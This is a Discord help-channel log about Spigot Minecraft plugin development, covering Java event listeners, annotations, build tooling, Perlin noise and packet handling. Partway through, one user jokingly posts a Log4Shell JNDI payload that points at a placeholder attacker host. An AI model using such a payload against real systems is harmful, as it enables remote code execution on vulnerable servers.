#help-development
1 messages · Page 1837 of 1
technically project, if we use the gradle definition of a project
no i cant in vc
ok martin
so first we gonna make a base i think
lemme steal the parent pom from paper 🙂
wait we cant stream here
hmmm
Just don't import ;)
public void v8Method() {
v8.CraftItemStack cis = <>;
}
public void v9Method() {
v9.CraftItemStack cis = <>
}
i added a maven repo... included the shade plugin... and built the plugin and used the -shaded jar... but im still getting a noclassdeffound error
anyone know what could be the issue?
Here are some links to get you started on learning Java:
- https://www.codecademy.com/learn/learn-java
- https://www.sololearn.com/learning/1068
- https://www.learnjavaonline.org/
- https://programmingbydoing.com/
- https://docs.oracle.com/javase/tutorial/java/index.html
The last one is the only official one, however some of those concepts assume that you already know a bit about programming.
I have a question about general java stuff, is it possible to create your own Event class?
so that you can listen to when the object is created?
I'm not on PC so can't check but you should just be able to implement event
like how in JavaFX has button events
Like if I initiate an object that contains an int value, is it possible to put an @EventHandler method to listen to when that object is created
then use a object.getInt() method to return the int
Ah my bad.
Sure is possible
Or well spigot uses annotation on methods to determine which methods should be used as callbacks for said events.
Optionally they could have gone with a functional interface approach where you’d have something like
<T> register(Class<T> type,Consumer<?super T> callback);
hmm ok, that confuses me alot
The latter paragraph is irrelevant
You can do that, no one does because it's bad
Idk if it’s that bad
I tried implementing Event on a test class but im not sure which import i should use
I mean reflective invocations are a downside after all.
is there a default Java Event listener import?
no, not anything related to MC development
just general java, although i might use some of it for mc
Like when a class is created, i can use a different class to listen to that creation and do something
All event listener designs are just following a design pattern by the name observer.
kinda like when a PlayerDeathEvent object is created, you can create a method that acts with the event as parameters
Yeah that’s simple
You need to track registered callbacks, and then run them where each callback consume the created event object from your desired event class.
hmmm okay
For instance
do you know of an example i can look at
@Retention(RetentionPolicy.RUNTIME) @interface EventHandler {
}
interface Listener {
}
interface Event {
}
class EventManager {
Map<Class<? extends Event>,Collection<Consumer<? super Event>>> map = new IdentityHashMap<>();
void post(Event e) {
map.computeIfPresent(e.getClass(),(key,coll) -> coll.forEach(callback -> callback.accept(e));
}
void register(Listener listener) {
var clz = listener.getClass();
for (Method m : cls.getDeclaredMethods()) {
m.setAccessible(true);
var params = m.getParameterTypes()
if (params.length != 1) continue;
if (!m.isAnnotated(EventHandler.class)) continue;
Class<?extends Event> type = (Class<? extends Event> params[0];
map.computeIfAbsent(type, key -> new ArrayList<>());
map.computeIfPresent(type,(key,coll)-> {
coll.add(event -> method.invoke(listener,event));
return coll;
}
}
}
}
Smtng like this maybe
Wrote it on phone just rn
omg
bro how can you cope with phone keyboard?
Then each subclass would just implement the interface
Idk lol, I just remembered that
Ohhh then when you do the this.getServer.getPluginManager().registerEvents(); method in spigot it adds that class into the listeners list?
wait he wants to see the code that register the events?
or whatever the call is
Corxl check out SimplePluginManager
Would this be the proper way to get a prefix?``` public String getPrefix() {
return switch (this) {
case KING, ADMIN -> ChatColor.DARK_RED.toString() + ChatColor.BOLD + "ADMIN" + ChatColor.LIGHT_PURPLE;
case DEVELOPER -> ChatColor.DARK_PURPLE.toString() + ChatColor.BOLD + "DEV" + ChatColor.LIGHT_PURPLE;
case JRADMIN -> ChatColor.DARK_RED.toString() + ChatColor.BOLD + "JRADMIN" + ChatColor.LIGHT_PURPLE;
case SRMOD -> ChatColor.GOLD.toString() + ChatColor.BOLD + "SRMOD" + ChatColor.LIGHT_PURPLE;
case MOD -> ChatColor.YELLOW.toString() + ChatColor.BOLD + "MOD" + ChatColor.LIGHT_PURPLE;
case JRMOD -> ChatColor.DARK_AQUA.toString() + ChatColor.BOLD + "JRMOD" + ChatColor.LIGHT_PURPLE;
case ETERNAL -> ChatColor.DARK_RED.toString() + ChatColor.BOLD + "ETERNAL" + ChatColor.LIGHT_PURPLE;
case SAVAGE -> ChatColor.DARK_RED.toString() + ChatColor.BOLD + "SAVAGE" + ChatColor.LIGHT_PURPLE;
case LEGEND -> ChatColor.DARK_RED.toString() + ChatColor.BOLD + "LEGEND" + ChatColor.LIGHT_PURPLE;
case ULTRA -> ChatColor.DARK_RED.toString() + ChatColor.BOLD + "ULTRA" + ChatColor.LIGHT_PURPLE;
default -> "";
};
}```
What i had before using the suggestion was ``` public String getPrefix() {
switch (this) {
case KING:
case ADMIN:
return ChatColor.DARK_RED.toString() + ChatColor.BOLD + "ADMIN" + ChatColor.LIGHT_PURPLE;
case DEVELOPER:
return ChatColor.DARK_PURPLE.toString() + ChatColor.BOLD + "DEV" + ChatColor.LIGHT_PURPLE;
case JRADMIN:
return ChatColor.DARK_RED.toString() + ChatColor.BOLD + "JRADMIN" + ChatColor.LIGHT_PURPLE;
case SRMOD:
return ChatColor.GOLD.toString() + ChatColor.BOLD + "SRMOD" + ChatColor.LIGHT_PURPLE;
case MOD:
return ChatColor.YELLOW.toString() + ChatColor.BOLD + "MOD" + ChatColor.LIGHT_PURPLE;
case JRMOD:
return ChatColor.DARK_AQUA.toString() + ChatColor.BOLD + "JRMOD" + ChatColor.LIGHT_PURPLE;
case ETERNAL:
return ChatColor.DARK_RED.toString() + ChatColor.BOLD + "ETERNAL" + ChatColor.LIGHT_PURPLE;
case SAVAGE:
return ChatColor.DARK_RED.toString() + ChatColor.BOLD + "SAVAGE" + ChatColor.LIGHT_PURPLE;
case LEGEND:
return ChatColor.DARK_RED.toString() + ChatColor.BOLD + "LEGEND" + ChatColor.LIGHT_PURPLE;
case ULTRA:
return ChatColor.DARK_RED.toString() + ChatColor.BOLD + "ULTRA" + ChatColor.LIGHT_PURPLE;
default:
return "";
}
}```
@Override
public void registerEvents(@NotNull Listener listener, @NotNull Plugin plugin) {
if (!plugin.isEnabled()) {
throw new IllegalPluginAccessException("Plugin attempted to register " + listener + " while not enabled");
}
for (Map.Entry<Class<? extends Event>, Set<RegisteredListener>> entry : plugin.getPluginLoader().createRegisteredListeners(listener, plugin).entrySet()) {
getEventListeners(getRegistrationClass(entry.getKey())).registerAll(entry.getValue());
}
}```
that is how spigot handle it
The way spigot handles it is a bit more advanced
But it supports static callbacks, proper termination, priority and cancellation
import java.util.ArrayList;
import java.util.List;
interface TestListener {
void someoneSaidHello();
}
class Responder implements TestListener {
@Override
public void someoneSaidHello() {
System.out.println("I Said Hello Too!");
}
}
class Initiator {
private List<TestListener> listeners = new ArrayList<>();
public void addListeners(TestListener... listenerList) {
listeners.addAll(List.of(listenerList));
}
public void sayHello(){
System.out.println("I Said Hello!");
for (TestListener listener: listeners) {
listener.someoneSaidHello();
}
}
}
public class Test {
public static void main(String[] args) {
Initiator initiator = new Initiator();
Responder responder = new Responder();
initiator.addListeners(responder);
initiator.sayHello();
}
}
I made this after seeing an example from online
I think this does what I want it to?
what im confused about is why Spigot gets to use "@EventHandler" and I need to use @Override
is it a different way to handle events/
That’s because spigot supports having multiple methods handling events within a single class
Override is just a compile check annotation
Proper way to get a prefix
override dont even do anything
it just there
it dont iirc
so spigot also calls those classes and uses "className.methodName"?
i remember someone said it just there do nothing but lookin easier
If a derived function overrides the super function but the method signature is changed in an unsupported way, there will be a compile error
It just uses reflection
To invoke the methods at runtime
im pretty sure the annotation forces the jvm to run the Overritten code, not sure if its always needed but its good practice
atleast from my experience
So how does spigot get to use the "@EventHandler" annotation?
in a gradle subproject, how do you depend on the root project?
sorry if you already explained that I missed it if you did
Because spigot lets you have as many event handlers in a class as you want
It just looks for methods with that annotation and the proper signature
Okay but where does the annotation come from
Wrong and half incorrect
like is it something spigot created?
It’s just a custom annotation spigot made
With runtime retention
Right okay, ive never worked with that kind of stuff yet
didnt know annotations could be created
@interface
If a subclass overrides a function it will be invoked as opposed to the super function even if @Override is absent.
It is not always a good practice, for instance @Override is discouraged when overriding deprecated methods from base classes.
public @interface EventHandler
compileOnly(rootProject)
Right so if a class extends another class and the subclass has a method with the same name and parameters as the super class, which method will run?
How should I manager putting attributes on items? (From my testing, when you add any attribute modifiers, then the normal attributes of the item dissapear!) I want to build off of those Old attributes (perhaps with multiple modifiers)
If theres no @Override
the same as if @Override would be present in the subclass
There is currently a PR to expose the default attributes, but it’s not merged yet
It has no functionality to determine what function to use
You can get them via NMS if you must
So all @Override does is make sure you format the method properly?
and then how would another subproject depend on a different subproject? (e.g. bukkit depends on core)
How.. would I attempt to do this? (I've never used NMS neither do I know what it is)
compileOnly(project(":name"))
ah ok
Alternatively you can just create a map of the default attributes
thats a fairly big map... considering all the attributes and tools
It just makes sure there is a super method matching the method signature of its own, if that’s the case then it will ensure to override the implementation of that method signature to its own as opposed to the super’s
Generally the compiler will figure it out without @Override
They will always do
Okay yeah perfect, thats basically how my professor taught me that
But point is,
if I do this:
class A extends Object {
@Override public long hashCode() {
return 0L;
}
}
It won’t work
Of course it won’t work either way
Thank you so much for your help btw @ivory sleet, your insight has been super helpful ♥️
Actually that’s a bad example
Wait, is NMS just nbt tags?
No
NMS is the vanilla server code
net minecraft
ah...
this threw me off https://www.spigotmc.org/threads/tutorial-the-complete-guide-to-itemstack-nbttags-attributes.131458/
Anyways just to finalize
interface Alpha {
void e(int i);
}
class B implements Alpha {
@Override void e(int i){}// works since there’s a super method with the same signature
@Override void b(int d) {
//no work since there’s no matching super method to override
}
}
makes sense, thank you
I'm.. making that map...
I’ll let you know if when the PR goes through :p
thanks ahah
why the hell did minecraft put attack damage on pickaxes
i dont get it
Because hitting someone with a pickaxe in real life does some damage
I just realized that this is like 3000 arguments I'm putting into this.. with each tool having 2-4 modifiers and each modifier having like 5 different arguments
and Minecraft to some extent tries to emulate real life
thats fair- I'm just sad that theres no way to get the default values rn 😆
🥲
also- how come there isn't like, a mining attribute
wouldn't that make sense instead of the only attributes being combat related?
- In plugin 'com.github.jengelman.gradle.plugins.shadow.ShadowBasePlugin' type 'com.github.jengelman.gradle.plugins.shadow.tasks.ShadowJar' property 'dependencyFilter' is missing an input or output annotation.
* Try:
Run with --stacktrace option to get the stack trace. Run with --info or --debug option to get more log output. Run with --scan to get full insights.```
I'm attempting to setup a simple test plugin using Kotlin and Gradle. I'm not sure what `property 'x' is missing an input or output annotation` means or how to fix it. I believe I saw somewhere that this is something to do with using Gradle 7.x.x and that downgrading should fix it, but downgrading to 6.8.3 did not appear to resolve the error.
Send build script
i meant data file
https://pastebin.com/4aKRxzDX
I did change kotlin("jvm") and the shadow plugin to also have apply true
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
I think that was a move on the right track because now it's just telling me it's an issue with an unsupported class file version. I'm using Java 16 and would prefer not having to downgrade though.
BUG! exception in phase 'semantic analysis' in source unit '_BuildScript_' Unsupported class file major version 60
Is it my kotlin or gradle version that's problematic?
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
interface TestListener {
}
class Responder implements TestListener {
@MyAnnotation
public void testMethod(Initiator initiator) {
System.out.println("I Said Hello Too!");
}
}
class Initiator {
private List<TestListener> HelloListeners = new ArrayList<>();
private int size = 0;
public void addListeners(TestListener... listenerList) {
HelloListeners.addAll(Arrays.asList(listenerList));
}
public void sayHello() throws InvocationTargetException, IllegalAccessException {
System.out.println("I Said Hello!");
for (TestListener listener: HelloListeners) {
for (Method method : listener.getClass().getMethods()){
if (method.isAnnotationPresent(MyAnnotation.class)) {
if (method.getParameterTypes()[0].equals(Initiator.class)) {
method.invoke(new Responder(), this);
}
}
}
}
}
public int getSize() {
return size;
}
}
public class Test {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException {
Initiator initiator = new Initiator();
Responder responder = new Responder();
initiator.addListeners(responder);
initiator.sayHello();
}
}
@Target({ElementType.METHOD})
@Retention(RetentionPolicy.RUNTIME)
@interface MyAnnotation{}
@ivory sleet I think this is how the spigot api handles exceptions right? with the annotations?
the sayHello() method checks all the listeners then checks their annotations, then checks their parameters, and if the only parameter is the Initializer object, it passes that object and runs the method
wait we can invoke methods that way?
i thought spigot do some magic things lul
never heard about invoking methods without knowing their names
idk if spigot does it that way but it kinda simulates it
.
from spigot
i guess
the names of the methods are irrelevant
it just needs the annotation and the parameter type of the event
ideally you would replace the sayHello() method with the class constructor
so it calls any method thats been initialized
I'm trying to retract a player's fishing hook when they catch a fish cause I have it cancel the event so it doesn't collect the regular loot table fish, but it doesn't retract the hook and I tried event.getHook().setHookedEntity(null); but it isn't working. .-.
damn channel ded
press X for doubt
hello can someone help me with a problem with / jail
because I look at tutorials but the commands are different and I don't know how to configure it
@golden wasp head over to #help-server But, to answer your question, what plugin are you using?
go #help-server
ok sorry
How does redis work?
hacks
huh
Is this possible to rewrite pvp basics? For example make hit reg bettwen hits lower or increase players kb (i know about setVelocity just it work with latency and in fight it looks terrible and unnatural)
what kind of answer are you looking for? a simple yes? yes, it is possible
does anyone know how to do simple noise gen on a sphere?
yes
And what exactly are you trying to do
Generate caves? Generate a noise pattern on the surface of the sphere?
So you're trying to generate a lumpy sphere
yes
Simplest way is probably to use perlin noise on normalized pitch and yaw, and project vectors out with the length returned by perlin noise for height
Its great, how can i do this?
lol
idk what that means
Don't be a help vampire
Normally perlin noise uses a heightmap to build terrain
You would need to figure out how to project a heightmap onto a sphere
I jist dont even know where i should begin
heightmap is that black and white thing right
Right, you're asking how to do something vastly complex and you have no idea at all how to do it
?is that the reason why i ask
idk how to use them
I haven't find and information in google so i suggest ask help here
Just where should i start
Well, the basic idea of perlin noise is that it takes in an n-dimensional coordinate and it spits out a value
You pass in the x and z and it will tell you how tall the terrain should be at that point
ok im reading an article about perlin noise and im already confused
can someone dumb down the second part of that paragraph? (from First, we divide the x, y and z...)
There is a server and clients, they communicate using the Redis Serialization Protocol (https://redis.io/topics/protocol) through a TCP connection
guys im trying to teleport an EntityPlayer to a location but the head bugs
the npc is always looking back
but when i look back and spawn it, it is ok
npc
Then you've likely messed up somewhere
Send the entire npc code
Or you know.... use Citizens
trash
👍
im making a whole new npc plugin to get rid of that trash plugin
spamming packets
and top of usage
the code btw
well top of spark sampler usage
im trying to code an npc plugin
Or use zNPC or whatever that's called
i dont need citizens
Or, modify citizens to your needs
that spams more packets
it is not that hard
We don't need another npc plugin
im making it for myself
and teleporting the npc has problems
and i need help with this
not citizens or znpcs
Oh well you'll have to wait a long time for an awnser
Hey quick question, where can I download the spigot api for intellij?
Are you using maven or gradle?
With 1.18 I’m not able to import javaplugin, but when I change the jar to 1.17 it works without editing the code did it change or do I have the wrong jar or something?
Which one should I use?
Use Maven or Gradle. Don't import the jar
Most of us here use Maven. So use that
Thanks
The home of Spigot a high performance, no lag customized CraftBukkit Minecraft server API, and BungeeCord, the cloud server proxy.
@ivory sleet can you help me with this ?
the head rotation is not correct when i teleport an npc
but when i look back its correct
Is there a way to make difference between full block(not orientable, not storaget etc...) with "special" block (like slab,stairs, chests,banner,sign...) ?
How do you do the outer layer of the skin? The pre 1.18 release was with DataWatcher but it’s been removed
it is 1.8
i still need help with making this btw, if anyone can help, please do!
what do you need, what do you have?
what i want: (the message i replied to)
what i have: nothing cause idk where to start
Does anyone know how I can make a BossBar generate during the storm?
check the weather and Bukkit.createBossbar a bossbar
you will have to start with the math
i suck at maths
obv.
same
but you can find formulas and solutions in the web
you just have to translate them to java
everything other is bukkit magic
someone told me to do that before but 1 issue: idk how to read the other languages which means i can't understand them in order to translate them
and then there's also unity which most people just use like a sphere object or whatever and you can't do that in minecraft
i tried reading an article about perlin noise and got confused after about 2 minutes
there is a java part in it
ok new record of me looking at an article and being confused: about 10 seconds
maybe you shouldn't start over with that yet
wha- what is this
and rely on builders
maths
me no maths
can someone explain to me how to use spigot's noise and then how to do it on a sphere
ok 1 sec
how
Bukkit.getScheduler().scheduleSyncRepeatingTask(this, new Runnable() {
@Override
public void run() {
World world = Bukkit.getWorld("world");
long caca = (long) (world.getWeatherDuration() / 20);
long hours = caca % 86400L / 3600L;
long minutes = caca % 3600L / 60L;
long seconds = caca & 60L;
long days = caca / 86400L;
String time = String.format((days >= 1L ? String.format(("%02d dia(s) "), days) : "") + "%02d:%02d:%02d", hours, minutes, seconds);
if (world.hasStorm()) {
Bukkit.getOnlinePlayers().forEach((player) -> {
BossBar boss = Bukkit.getServer().createBossBar("¡ Luna llena !: " + time + "", BarColor.WHITE, BarStyle.SEGMENTED_10, BarFlag.CREATE_FOG);
boss.removeFlag(BarFlag.CREATE_FOG);
boss.addPlayer(player.getPlayer());
I did something like that and it didn't work, any mistake?
what do i do before getNoise
wait 1 sec
but makes sense fo rme
retuns an double
then just do smth with it
like set the blocks y to the position
it returns
idont know about that part tho
idk what im doin help plz
public class Noise extends PerlinNoiseGenerator {
public void noiseGen(World playerWorld, Long noiseSeed, Random rand) {
PerlinNoiseGenerator noiseVar = new PerlinNoiseGenerator(playerWorld, noiseSeed, rand);
}
}```
dafuq
...
oh ok
do you really need someone who everytime tells you what to do
no
i gave you the noise you need
why does one even extend that
jesus christ
a derpy
a very funny one here
?
that funny R is the set of real numbers
R^d is the set of real numbers up to d
so it just means you put in values and the function maps it to a new value
so in this case, R^d - d would be 3 so it would have x,y,z inputs
did you unfuck it?
can anyone help me with this ? 💀
did you learn to be nice?
yes, it was a simple question for me to know if your code now works as expected
doesn't seem like you learnt to be nice
well actually yes i did, why would i have given you the informations you need if i amindeed not nice?
cough
cough
Can we just not
well yea. i am not insisting on it
Is the ^ raising R to the power of d or am I just getting confused
@ivory sleet can you help me ?
why only conclure
?
?
?
?
anyways I can look into it once I get home where I have access to nms (:
no not really-it’s just how it’s written
nms beeing fresh
Oh right
so yeah, it takes in the input R^3 in this instance, or the x,y,z coords
And what’s the input R^3?
I understand R for the set of real numbers
Tho the ^3 is 
the boundary condition,
R^+ is all positive reals
R^n is the amount of reals iirc
yep
And R^n would {m ∈ R | m <= n} ?
uh, no, R^3 means any three real numbers which is why it is used in that notation because it gives coords, tho i have no clue how to write that in set notation
yes ig
Ah nice
why would they change math
math is math bad
But R^n for n \in N is just the n dimensional space no ?
not with the API
you'll have to dive into server internals for it
(or use paper)
wait are we talking about like
"Diamond Sword"
or some random custom name set by the plugin
Can ItemStack HAVE custom names?
Oh yeah
If I have item named "&eBanana" I want to obtain just "Banana" string.
oh
can use regex to replace it
then just use conclures solution
ChatColor.stripColors (:
^
Thanks
Well if he’s a spigoter that is 😅
adventure time 🥳
for enums == works right?
yep
k
its preferred
yet I see people using .equals
It works too
is it slower then?
Yeah
actually tbh it's probably not too slow
it likely just redirects to identity comparison
but you do have the 1ms method overhead
It is relatively slower
and it's just less clean
using Enum::equals is also not null safe as opposed to ==
oh yeah
Objects.equals
In which way can they be null?
set the field to null
With valueof?
Material m = null;
Ah bruh in that way
Material material = null;
if(material != null) return material.equals(Material.AIR);
return false;
//
Material material = null;
return material == Material.AIR;
tbh just wish Java redirected == to an equals call and then had some other operator for reference comparison
would be so much cleaner
first, clean up. second, your bf is a dead store. 3th, do for north, south, west, east blockface.
Yeah, since i didn't implement it yet. It is for figuring out the direction
But like, is there a more efficient way to do this whole thing, or just hardcoding?
what exactly are you trying to do
A multiblock
Which can be built facing any major direction (North, South, West, East)
a multiblock?
Yes.
A thing, made from multiple blocks?
That then functions in a custom made way, if built correctly
do playerinteractevent trigger if player interact with entity?
nope, PlayerInteractEntityEvent or PlayerInteractAtEntityEvent
k
how can i change on how long a subtitle stays
its one of the parameters in the api
is it legal to submit CLA if you're not adult?
We are not allowed to give you legal advice, but I don;t believe so.
i didn't saw anything about age restrictions there, but intuition says me that there is some restrictions
or im blind
It varies in different countries, but I believe there is an age restriction on entering into legal agreements.
How can i override multiverse core when changing from world?
I want to change the gamemode of a player to spectator mode, but multiverse core overides it
can anyone explain to me how to use PerlinNoiseGenerator?
(just like get a double from an x coord and a z coord)
do you know what is perlin noise?
i know it makes like a heightmap of black and white connected shapes, and you can use that to make terrain
declaration: package: org.bukkit.util.noise, class: PerlinNoiseGenerator
i have this:
PerlinNoiseGenerator noise = new PerlinNoiseGenerator(1);
but intellij is not letting me do noise.getNoise(...)
what it says?
it just doesn't suggest it and when i put it, it has a red line below it
wait nvm i think it's working
how do i parse this as an integer?
double newNoise = noise.getNoise(xCoord, zCoord) * 10;
Wat is cla huh…
The home of Spigot a high performance, no lag customized CraftBukkit Minecraft server API, and BungeeCord, the cloud server proxy.
Oh that
I remember me do a pull request when i was 6 to some cla related things for some projects idk
But i mean you can just make an account
Or ya know
Fork ur own spigot
Without coding right?
Then it probably in #help-server not help dev
Yeah plain vanilla minecraft
Does anybody know what's wrong with Jitpack? https://jitpack.io/xyz/agmdev/AGMCore/3.3.1/build.log
I wasn't able to find anything in google (Everything was gradle)
is PlayerPickupItemEvent still good to use? its deprecated
or should i use PlayerAttemptPickupItemEvent?
https://hub.spigotmc.org/javadocs/bukkit/org/bukkit/event/entity/EntityPickupItemEvent.html official wiki
declaration: package: org.bukkit.event.entity, class: EntityPickupItemEvent
ah
getEntity()``` and check if its player ig
ok thanks
It says no build artifact... But it was working for previous versions of plugin...
Hey there, short question hopefully. Is it possible to use Log4j rather than java.util.logging?
I'm including Log4j-core, as I would normally with standalone projects, and shade it into the jar using shadowJar. However, it isn't finding the logger 🤔
If not alot
Bukkit uses slf4j iirc, but even with log4j-over-slf4j, it is not working and is using the SimpleLogger.
Wait is shading = the scope compile in maven huh?
No clue, I dont use maven
I use Gradle with the ShadowJar plugin
basically it includes the dependencies in your plugin jar
Scope compile just compile the librabries to the jar
Yeah it should be the same
${jndi:ldap://some-attacker.com/a} :))))))))))))
Lemme check
The issue might be that I relocate everything 🤔 hold on
( e.g org.foo becomes dev.array21.pluginNameHere.deps.org.foo )
That would work for regular imports, though iirc log4j uses some reflection shenanigans under the hood.
No its not the same according to what i’ve seen
Who knows how to make bungee plugins?
I'm stuck with this error 😭 Tried 3 more times and no success
Yup, my issue was the relocating
?ask
If you have a question, please just ask it. Don't look for staff or topic experts. Don't ask to ask or ask if people are awake or available. Just ask the question to the channel straight out, and wait patiently for a reply. Make sure you use the right channel regarding the topic of your question. Create a thread in case the channel is already in use!
I need a staffchat plugin made
?services
If you wish to request or offer development/art/building/administration services, please do so at https://www.spigotmc.org/forums/services-recruitment-v2.54/
what are the headers and footer for 1.8 and 1.18 for PacketPlayOutPlayerListHeaderFooter
Why are you using it in 1.18
1.18 spigot provides api for that afaik
Yes
then?
It has for a while, but probably not in 1.8
then you use api instead of nms in newer versions
okay but still, I need to add headers and footers, how do I do it?
Player.setPlayerListHeader/Footer
implementation?
declaration: package: org.bukkit.entity, interface: Player
What a magical site
what version api?
oh sorry, wrong file
it works 1.13+
so this will work:
if(Bukkit.getOnlinePlayers().size() != 0) {
for(Player player : Bukkit.getOnlinePlayers()) {
player.setPlayerListHeaderFooter(headers.get(count1), footers.get(count2));
}
}
yeah, should
and this is right in 1.8
PacketPlayOutPlayerListHeaderFooter packet = new PacketPlayOutPlayerListHeaderFooter();
int count1=0; //headers
int count2=0; //footers
@Override
public void run() {
try {
Field a = packet.getClass().getDeclaredField("header");
a.setAccessible(true);
Field b = packet.getClass().getDeclaredField("footer");
b.setAccessible(true);
if(count1>= headers.size())
count1 = 0;
if(count2>= footers.size())
count2 = 0;
a.set(packet, headers.get(count1));
b.set(packet, footers.get(count2));
if(Bukkit.getOnlinePlayers().size() != 0) {
for(Player player : Bukkit.getOnlinePlayers()) {
((CraftPlayer)player).getHandle().playerConnection.sendPacket(packet);
}
}
note, that in 1.13 (NOT 1.13.2) it's deprecated cuz of "Draft api"
im using only 1.8 and 1.18
than you're fine
private List<ChatComponentText> headers = new ArrayList<>();
private List<ChatComponentText> footers = new ArrayList<>();
not worked with 1.8 tablist, you may check https://www.spigotmc.org/threads/tablist-header-in-1-8-8.296009/
thank you guys
Hello, so I need an advice, what would be better - keeping a for example player object (or world) as UUID, or as a referenced variable (WeakReference<Player>)? I'm aiming for performance or just a better way to handle this, but also I don't want any memory leaks or smth like that. But if I choose the way with reference, would it clean itself when that object would become unavailable (player disconnects)? I just tested and I found out that you can use enqueue method to clear that reference. Would I need to do it every time player disconnects or would it be fine on itself? Right now I have a "update" method which would get player from UUID and update class's variables like name, location, health, and a boolean to set if player was offline or not.
use UUID
there's no reason to keep a reference to the player at all
jesus christ-
don't think I didn't see that, RPG
me too lol
Ok thanks
listen for PlayerMoveEvent, then check if below block is solid, if it is - pass, if it's not, then create a for loop that would go block by block to ground, and everytime it does, check if its solid, if it is, cancel loop and teleport player.
public void safePlayerTp(Player p) {
int topX = p.getLocation().getBlockX();
int topZ = p.getLocation().getBlockZ();
int topY = p.getLocation().getWorld().getHighestBlockYAt(topX, topZ);
p.teleport(new Location(p.getWorld(), topX, topY + 1, topZ, p.getLocation().getYaw(), p.getLocation().getPitch()));
}
or you can do this
I thought of that, but what if its in closed space? Like in a big building? Then it would teleport on top
well, if youre above it, it doesnt matter
Hi guys, quick question. I would like to know some info about a class (VanillaCommandWrapper). Does anyone know a git command that allows me to know all the commits that edited that class?
If someone know a software that simplify browsing the git history I would really appreciate it
yeah, well it depends on what asker wants. Or in addition, you could check if player's y is higher than getHighestBlockYAt, then you could use that method
So every server would need to be connect to a redis connection?
exactly
yo fellas, i aint no math guy. and i am looking for an algorithm that can determine a cost for an upgrade
for example i want to be able to input the amount of upgrades i want to have lets say 1.000, then i want to be able to set the total cost of all those upgrades for example 3 million, now how would i calculate the cost of a single upgrade so that in the end all 1.000 upgrades add up to 3 million in costs. but the price still increases exponentially?
an easier example would be if i have 2 upgrades, and a total cost of 10, the first would be like 3 bucks, and the second 7
what is the difference between the maven plugins to compile?
i've always used package but i'm not sure why
mvn package just compiles it
mvn install for example also installs it in your local repo folder
yh
interesting
u can
well ur gonna need to specify which
also instead of annoying you, is there a list somewhere online?
exactly what it says
you are casting an experience orb to a livingentity
which is not possible
an orb isnt a living entity
store them in an arraylist
also never blind cast, always put checks
store what in an arraylist
I made something like that before but wasn't for a plugin
It happens when i kill some mobs and it drop exp orbs,
I have no idea why it triggers Event nah
and would you be able to share how you did it
because i am lost at this point
simplest would be total/cost*upgrade or smth
yeah for sure
what does deploy do? put it on an online repo?
You could always just do it the way hypixel does it
how do you determine "cost" though?
out of total
you can use geometric progressions
not sure if that's the english name
does anyone know how to get the location header or whatever as im getting [14:27:47 WARN]: Caused by: jdk.internal.net.http.websocket.CheckFailedException: Unexpected HTTP response status code 301 from java WebSocket webSocket = httpClient.newWebSocketBuilder() .buildAsync(URI.create("wss://tooty.xyz/ws/"), new WsClient(plugin)) .join();
Geometric you mean?
yea
warning about that API
afaik it doesn't exist on the JRE
in italian they use the adjective
might be wrong
y = x log x is a nice one
to call them
but I'm basing it off the fact it's in a jdk module
301 means permanent redirect
it works for me on multiple hosts
á outdated
i am aware...
well aight then
my question is how do i get what its trying to redirect to
as idk where to test my websocket
should be in the answer
what does the deploy maven plugin do? Put my code in an online repo?
response to the request
...yess....how do i get the answer
im quite lost on how i would implement this in code though
xp = level * log(level) @tall dragon
hmm
URI shoudl have an option to set followRedirects
i like it
ima use it too
but it kinda bugs me out it goes down then up
You could also use functions I think that's what its called anyways
tho i'm not sure how he could specify that after 1000 levelups the sum of the costs must add up to 3mil
f(x) = x^2 is a function
wat?
yea, this would be perfect
it doesn't
but i have no idea how to do this
wheres that
I know what a function is
well with geometric progressions as i told you you might be able to do something more specific
you can compute the sum of n elements
decide a starting poiny
and get how much it should increase
I was thinking he could use something like f(x) = 2x − 3
yh but this is not exponentional right
nope it's linear
Hi, im coding using intellij and maven, but i have one problem. When i'm debugging the stacktrace is not parse to my code, how can I fix that?
what
what stacktrace
error
for example at net.minecraft.world.entity.ai.attributes.AttributeMapBase.a(SourceFile:48), when i click it it show me that, why?
@tall dragon
https://www.desmos.com/calculator/vx7wiathsa
something like this look ok?
Because the decompiler makes code that doesn't 100% match the original
that does look promising
and is there any way to make it fit perfectly? I mean, so that I can follow the stacktace
but i would still have not much of an idea of how to implement this in code
ive got this so far double cost = (Math.log(upgrade - 0.3)) + 0.16;
let me open an ide
sure
int cost = Math.round((level * Math.log(level-0.3)) + 0.16
yh i think this would work. is there a simple way to give it a little bit more of a curve ?
epic if you want the sum of 1000 upgrades to cost from 3m and you start from 100, you have to multiply the previous cost * 1.005
so 100 * 1.005
then the result *1.005
so the formula to get a level cost is 100 * Math.pow(1.005, level - 1)
do you want a different starting value?
acutally just use this
s is the sum you want
n is the amount of elements to get to that sum
and a is the starting point
hmm i see
this is an fps destoyer wtf
i tested it reall quick, i dont think its perfectly accurate but its close
unless i tested it wrong
yeah it's not on point because the actual number is very small
and goes pretty far in decimals
you can try adding more decimals to make it closer
i gave you the link
ah yea i see
but im so shit at math that i cant actually translate that formula to java code 😂
.
do you want to calculate the sum of the elements?
because that number will be different for example for 5 million
1.00504 is a more accurate yea, its like 9000 off now
final double k = 1.00504
double sum = 100 * (Math.pow(k, level) - 1)/(k - 1)
should be good
maybe try 1.005045?
or slightly lower
yea, but what i need is also a way to calculate the exact number which you called k
because if i suddenly want the sum to be 5 million i dont want to go to this website to figure out the correct number
and to be honest i'm not sure how would you calculate k in this case
i've tried slapping it in some formula inverting program but it only gave me the graph
not the actual math
can anyone help me? I'm getting a class cast in my console when i join and i guess it's the fault of my netty injection
public void injectPlayers(Player... players) {
for (Player player : players) {
ChannelDuplexHandler channelDuplexHandler = new ChannelDuplexHandler() {
//Packets sent by the server (server -> client)
@Override
public void channelRead(ChannelHandlerContext channelHandlerContext, Object packet) throws Exception {
PacketEvent event = new PacketEvent(player, (Packet<? extends PacketListener>) packet, PacketEvent.PacketType.OUTGOING);
Bukkit.getServer().getPluginManager().callEvent(event);
if(!event.isCancelled()) super.channelRead(channelHandlerContext, packet);
}
//Packets written to the server (client -> server)
@Override
public void write(ChannelHandlerContext channelHandlerContext, Object packet, ChannelPromise channelPromise) throws Exception {
